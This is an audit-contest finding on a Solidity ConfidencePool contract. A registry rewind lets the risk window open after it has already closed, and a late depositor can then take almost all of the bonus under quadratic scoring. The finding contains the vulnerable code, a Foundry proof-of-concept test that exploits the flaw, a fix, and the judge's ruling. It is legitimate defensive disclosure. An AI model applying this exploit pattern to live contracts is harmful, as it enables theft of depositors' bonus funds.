FoundrySolidityLayer 2
7.25 ETH
Submission Details
Severity: low
Valid

Registry rewind can seal risk start after risk end and rewrite accounting past T

Author Revealed upon completion

Root + Impact

Description

After a terminal observation fixes riskWindowEnd as payout endpoint T, a registry rewind to an active-risk state can still set riskWindowStart > T and reset the global bonus moments to timestamps beyond T.

The risk markers should be chronological and monotonic: an active-risk observation opens the window, and a later terminal observation closes it. A terminal-first observation deliberately leaves riskWindowStart == 0, preserving the protocol's “no observable risk” treatment.

_observePoolState() enforces each marker's one-time initialization independently. It does not prevent _markRiskWindowStart() after riskWindowEnd is already nonzero. Therefore, after PRODUCTION or CORRUPTED seals the end, a trusted registry migration or rewind to UNDER_ATTACK/PROMOTION_REQUESTED lets any caller invoke pokeRiskWindow() and retroactively open the window.

_markRiskWindowStart() then overwrites sumStakeTime and sumStakeTimeSq for all existing principal using this late start. Capping the start at expiry does not ensure it is at or before the already-sealed end. Resolution still uses the older riskWindowEnd as T, so the k=2 score treats post-terminal entries as amount × (T - entry)^2. The square makes entries farther after T gain more weight, allowing a post-rewind depositor to capture nearly all bonus. The manufactured nonzero start can also activate the post-grace auto-CORRUPTED path and permanently disable withdrawals.

src/ConfidencePool.sol
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
if (
!scopeLocked && state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
) {
scopeLocked = true;
emit ScopeLocked(block.timestamp);
}
// @> riskWindowEnd is not checked before opening the start.
if (riskWindowStart == 0 && _isActiveRiskState(state)) {
_markRiskWindowStart();
}
if (riskWindowEnd == 0 && _isTerminalState(state)) {
_markRiskWindowEnd();
}
}
function _markRiskWindowStart() internal {
// Cap at expiry: accrual is bounded by the pool's lifecycle. Without the cap, a late
// observation could pin riskWindowStart > expiry, and `_clampUserSums` would record every
// pre-risk deposit as entering past T = expiry (EXPIRED path). The k=2 sums then encode
// post-deadline "at-risk" time that never actually existed.
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
// Cast is truncation-safe: `t` is capped at `expiry`, which is itself a uint32.
// forge-lint: disable-next-line(unsafe-typecast)
riskWindowStart = uint32(t); // @> This may be greater than an existing riskWindowEnd.
// Eagerly reset the global accumulators so every currently-eligible staker is treated as
// entering at `t`. Per-user sums stay stale until `_clampUserSums` runs on the next op
// touching that user.
sumStakeTime = totalEligibleStake * t; // @> Rewrites global entry moments past T.
sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}

Risk

Likelihood:

  • The issue occurs when an unresolved pool first observes a terminal registry state and the trusted registry is later replaced, migrated, or reset to report an active-risk state.

  • The normal BattleChain lifecycle is forward-only, so the required rewind is an exceptional infrastructure event rather than an action a staker can cause alone.

  • Once the rewind occurs, exploitation is permissionless: any account can seal the inverted window, and UNDER_ATTACK permits the later stake used to distort the bonus.

Impact:

  • Accounting no longer represents time inside the risk interval. A later post-terminal deposit can receive more k=2 weight than existing capital and drain nearly all staker bonus.

  • A retroactively nonzero riskWindowStart changes outcome behavior: it permanently closes withdrawals and can turn a no-risk expiry into bad-faith auto-CORRUPTED after the grace period, exposing the full principal and bonus to recovery.

Proof of Concept

Create test/audit/CP008RegistryRewindRiskWindowInversion.t.sol with the following contents:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract CP008RegistryRewindRiskWindowInversionTest is BaseConfidencePoolTest {
function test_RewindOpensRiskAfterTerminalTAndRewardsLaterStake() external {
uint256 stakeAmount = 100 * ONE;
uint256 bonus = 100 * ONE;
_stake(alice, stakeAmount);
_contributeBonus(carol, bonus);
// A terminal observation fixes T while preserving the no-observable-risk state.
vm.warp(block.timestamp + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
pool.pokeRiskWindow();
uint256 sealedT = pool.riskWindowEnd();
assertEq(pool.riskWindowStart(), 0);
// A rewound registry reports active risk after T. Any account can now open the window,
// which rewrites the existing global moments as though Alice entered after T.
vm.warp(sealedT + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.prank(bob);
pool.pokeRiskWindow();
uint256 lateStart = pool.riskWindowStart();
assertGt(lateStart, sealedT, "risk start is sealed after the immutable risk end");
assertEq(pool.sumStakeTime(), stakeAmount * lateStart, "Alice's global entry is rewritten past T");
assertEq(pool.sumStakeTimeSq(), stakeAmount * lateStart * lateStart);
// UNDER_ATTACK remains depositable. A much later stake is farther from the old T, so
// squaring (T - entry) gives the late stake more weight instead of less.
vm.warp(sealedT + 11 days);
_stake(bob, stakeAmount);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.outcomeFlaggedAt(), sealedT, "resolution still uses the older sealed T");
assertEq(pool.snapshotSumStakeTime(), stakeAmount * lateStart + stakeAmount * block.timestamp);
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 aliceBonus = token.balanceOf(alice) - aliceBefore - stakeAmount;
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
uint256 bobBonus = token.balanceOf(bob) - bobBefore - stakeAmount;
// Alice is one day past T and Bob is eleven days past T: their equal-stake scores are
// 1^2 : 11^2, so the later depositor receives 121/122 of the bonus (less floor dust).
assertEq(aliceBonus, bonus / 122);
assertEq(bobBonus, bonus * 121 / 122);
assertGt(bobBonus, 99 * ONE, "the post-terminal depositor captures almost all bonus");
}
}

Run the PoC from the repository root:

  1. Execute forge test --offline --match-path test/audit/CP008RegistryRewindRiskWindowInversion.t.sol -vv.

  2. Confirm that the test passes with one test passed and zero failures. Bob receives 121/122 of the bonus despite depositing ten days after Alice's rewritten entry and eleven days after T.

Recommended Mitigation

Once riskWindowEnd has been sealed, preserve the terminal-first no-risk state and never allow the start marker or global moments to be created afterward.

src/ConfidencePool.sol
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
if (
!scopeLocked && state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
) {
scopeLocked = true;
emit ScopeLocked(block.timestamp);
}
- if (riskWindowStart == 0 && _isActiveRiskState(state)) {
+ if (riskWindowStart == 0 && riskWindowEnd == 0 && _isActiveRiskState(state)) {
_markRiskWindowStart();
}
if (riskWindowEnd == 0 && _isTerminalState(state)) {
_markRiskWindowEnd();
}
}

Add an invariant test asserting riskWindowStart == 0 || riskWindowEnd == 0 || riskWindowStart <= riskWindowEnd across arbitrary registry-state sequences. Deposit and withdrawal gates should also treat riskWindowEnd != 0 as terminal history so a registry rewind cannot reopen fund movement after T.

Updates

Lead Judging Commences

inallhonesty Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing riskWindowEnd rewind-latch in _assertDepositsAllowed lets late stakes/bonus theft via k=2 quadratic scoring

Impact - Medium Bonus pool only, principal always returns under SURVIVED/EXPIRED, but the quadratic advantage is unbounded and a tiny late stake can take nearly all of it. Likelihood - Low It needs a DAO registry migration to land inside the window where a pool is unresolved with riskWindowEnd already sealed, and the attacker still has to be watching. No attacker action can create the precondition.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!